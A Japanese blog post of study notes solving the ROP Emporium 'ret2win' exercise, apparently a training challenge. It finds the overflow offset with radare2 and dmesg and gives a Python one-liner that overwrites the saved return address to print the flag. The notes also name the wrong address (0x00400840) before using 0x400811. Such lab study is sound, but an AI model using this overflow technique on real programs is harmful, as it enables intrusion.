a

よろしくのキワミ

ROPについて勉強する

ROPについて勉強する

以下のサイトにてROPのチュートリアルをやっているので学んだことをメモ書きしていく。

ropemporium.com

このサイトでは解析にradare2を使用しているので触りながら慣れていくことにした。
色々なツール使えなければ...

ret2win

Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.

radare2のインストール

aptでinstallしてくる

$ sudo apt install -y radare2
動作確認

渡されたファイルを実行してみる。
今回解析するのは64bitの実行ファイルだが、このサイトでは両方を試してみることを進められている。

$ ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

>

入力を求められる。

文字列を読むとユーザの入力50byteを32byteのバッファにスタックすることでROPを起こせるようだ。

又、fgets関数を使用しているらしい

解いていく

問題ではCTFのようにフラグを入手する形式になっている。

サイトの手順通りに進めてみることにする。
まずはメソッド名を確認しろとのこと

nm ret2win | grep ' t '

nmコマンドはオブジェクトや実行ファイルのシンボル情報を表示するコマンドだ。

出力結果は以下のようになった

0000000000601060 B __bss_start
0000000000601088 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 t __do_global_dtors_aux_fini_array_entry
0000000000601060 D _edata
                 U fgets@@GLIBC_2.2.5
0000000000400720 t frame_dummy
0000000000600e10 t __frame_dummy_init_array_entry
                 w __gmon_start__
00000000004005a0 T _init
0000000000600e18 t __init_array_end
0000000000600e10 t __init_array_start
00000000004008c0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 w _Jv_RegisterClasses
0000000000400840 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
0000000000400811 t ret2win
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
0000000000601080 B stderr@@GLIBC_2.2.5
0000000000601070 B stdin@@GLIBC_2.2.5
0000000000601060 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5

nmで出力した結果をgrepで絞っているがこれは

will tell us that the suspiciously named function 'ret2win' is present and r2 confirms that it will cat the flag back to us:

と書いてあり、怪しい関数名がないかなどを探したということらしい

というわけで本当にその関数が怪しいか、radare2で関数を確認してみる

f:id:toDo:20190805022644p:plain

flag.txtというファイルをcatコマンドで呼び出していることがわかる。

つまりバッファオーバーフローを起こしROPでこの関数を呼んでくればよい?と思う

サイトを読み進めるとオーバーフローに必要なバイト数を確認している。
カーネルのリングバッファをクリアしプログラムを実行、aを40文字入力し、その後にXを5文字入力してみる

Segmentation fault

セグメンテーションフォールトが発生した。
dmesg -tで出力してみる

$ sudo dmesg -t
ret2win[413]: segfault at a5858585858 ip 00000a5858585858 sp 00007ffc2187e8c0 error 14 in libc-2.28.so[7fd9aa7d2000+22000]
Code: Bad RIP value.

ASCII文字で0x58Xになる。
あふれ出ている値はa5858585858となっているので入力値からフーバーフローを起こすのに必要なbyte数が逆算できる。

サイトには

you'll need 40 bytes of garbage to reach the saved return address in the 64bit binaries and 44 bytes in the 32bit binaries.

というように通常64bitバイナリのリターンアドレスと32bitバイナリの44byteに達するには40byte必要と書いてある。

40byteのパディングが必要なことがわかったのであとはそこにret2winの開始アドレスを入れてやればよいはずだ

radare2で調べてみる

[0x00400650]> afl
...
0x00400700    3 28           sym.__do_global_dtors_aux
0x00400720    4 38   -> 35   entry.init0
0x00400746    1 111          sym.main
0x004007b5    1 92           sym.pwnme
0x00400811    1 32           sym.ret2win
0x00400840    4 101          sym.__libc_csu_init
...

というわけで0x00400840だとわかったのでエクスプロイトを書いてやる

python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00\x00'" | ./ret2win

トルエンディアンで記述してやり実行

$ python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00\x00'" | ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault

というわけで無事にROPを起こすことができた。

おまけ

色々なツールを使いこなすこともひそかな目標なのでpwntoolsというものを使ってみる。

docs.pwntools.com

と思ったがPython3系はサポートしていないっぽい...?

2系でのinstallでerror: kernel version...みたいなものが出るので環境構築ができてからまた使ってみることにする

プライバシーポリシー お問い合わせ